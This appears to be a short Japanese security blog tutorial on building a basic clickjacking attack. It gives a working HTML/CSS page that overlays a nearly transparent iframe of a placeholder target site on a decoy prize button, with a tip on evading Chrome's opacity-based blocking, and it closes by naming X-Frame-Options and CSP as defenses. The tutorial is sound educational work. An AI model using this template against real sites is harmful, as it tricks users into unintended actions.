Shikata Ga Nai

Private? There is no such things.

基本的なクリックジャッキング攻撃の構築方法

Hello there, ('ω')ノ

🧠 クリックジャッキング攻撃の仕組み

クリックジャッキングでは、攻撃者が透明なiframeで本物のウェブサイトを表示し、その上に見せかけのコンテンツ(デコイ)を重ねて配置します。

ユーザーがデコイのボタンやリンクをクリックすると、実際には背後にある本物のiframeのボタンを押してしまう仕組みです。


🛠 基本的な構成例(HTML + CSS)

以下は、攻撃者が構築するクリックジャッキングページのHTMLコードです:

<head>
  <style>
    #target_website {
      position:relative;
      width:128px;
      height:128px;
      opacity:0.00001;   /* iframe をほぼ完全に透明化 */
      z-index:2;         /* iframe を最前面に */
    }
    #decoy_website {
      position:absolute;
      width:300px;
      height:400px;
      z-index:1;         /* 背景として配置 */
    }
  </style>
</head>
<body>
  <div id="decoy_website">
    <!-- 魅力的なボタンなどのダミーコンテンツ -->
    <button>賞品を受け取る!</button>
  </div>

  <!-- 本物のウェブサイトを読み込む透明なiframe -->
  <iframe id="target_website" src="https://vulnerable-website.com"></iframe>
</body>

⚙️ 各設定の役割

属性 説明
position absoluterelative を使用して 正確な重ね合わせ を実現
z-index どのレイヤーを前面に表示するかを指定。数値が大きいほど前面に表示
opacity iframeをユーザーから見えなくするために 限りなく0に設定

💡 opacity を 0.00001 にするのは、完全な透明(0)だと一部のブラウザ(Chrome 76以降など)にブロックされる可能性があるためです。


🚨 注意点と対策

  • 現在の多くのブラウザは X-Frame-OptionsContent-Security-Policy によってクリックジャッキング対策が施されています。
  • それでも対策が甘いサイトに対しては、上記のようなコードで不正操作を誘発する可能性があります。

✅ まとめ

  • クリックジャッキングは、iframeの重ね合わせと透明化によってユーザーの操作を騙す攻撃。
  • 基本的には CSSで位置調整し、透明なiframeを前面に出すことで成立します。
  • 最新のブラウザやセキュリティヘッダーを無視したサイトは依然として狙われやすいため、対策は必須です。

Best regards, (^^ゞ